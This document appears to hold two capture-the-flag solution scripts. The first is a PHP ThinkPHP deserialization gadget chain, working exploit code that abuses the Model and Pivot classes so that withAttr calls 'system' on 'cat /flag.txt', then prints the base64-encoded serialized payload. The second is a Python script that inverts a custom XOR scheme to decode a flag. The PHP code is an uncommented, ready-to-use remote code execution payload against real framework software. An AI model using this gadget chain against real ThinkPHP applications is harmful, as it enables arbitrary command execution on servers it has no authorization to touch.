1<?php
 2namespace think{
 3    abstract class Model{
 4        private $lazySave = false;
 5        private $data = [];
 6        private $exists = false;
 7        protected $table;
 8        private $withAttr = [];
 9        protected $json = [];
10        protected $jsonAssoc = false;
11        function __construct($obj = ''){
12            $this->lazySave = True;
13            $this->data = ['whoami' => ['cat /flag.txt']];
14            $this->exists = True;
15            $this->table = $obj;
16            $this->withAttr = ['whoami' => ['system']];
17            $this->json = ['whoami',['whoami']];
18            $this->jsonAssoc = True;
19        }
20    }
21}
22namespace think\model{
23    use think\Model;
24    class Pivot extends Model{
25    }
26}
27
28namespace{
29    echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
30}

 1res=[88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73,
 2     130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16]
 3key=[ord(c) for c in "345y"]
 4
 5def my_encode(data,key):
 6    b=data
 7    k=key
 8    for i in range(len(b)-4+1):
 9        r0,r1,r2,r3=b[i],b[i+1],b[i+2],b[i+3]
10        b[i]=r2^((k[0]+(r0>>4))&0xff)
11        b[i+1]=r3^((k[1]+(r1>>2))&0xff)
12        b[i+2]=r0^k[2]
13        b[i+3]=r1^k[3]
14        k[0],k[1],k[2],k[3]=k[1],k[2],k[3],k[0]
15    return b==res
16
17def my_decode(data,key):
18    b=data
19    k=key
20    k[0], k[1], k[2], k[3] = k[2], k[3], k[0],k[1]
21    for i in range(38,-1,-1):
22        r1=b[i+3]^k[3]
23        r0=b[i+2]^k[2]
24        r3=b[i+1]^((k[1]+(r1>>2))&0xff)
25        r2=b[i]^((k[0]+(r0>>4))&0xff)
26        k[1], k[2], k[3], k[0] = k[0], k[1], k[2], k[3]
27        b[i], b[i + 1], b[i + 2], b[i + 3] = r0, r1, r2, r3
28    print("".join(chr(i) for i in b))
29
30my_decode(res,key)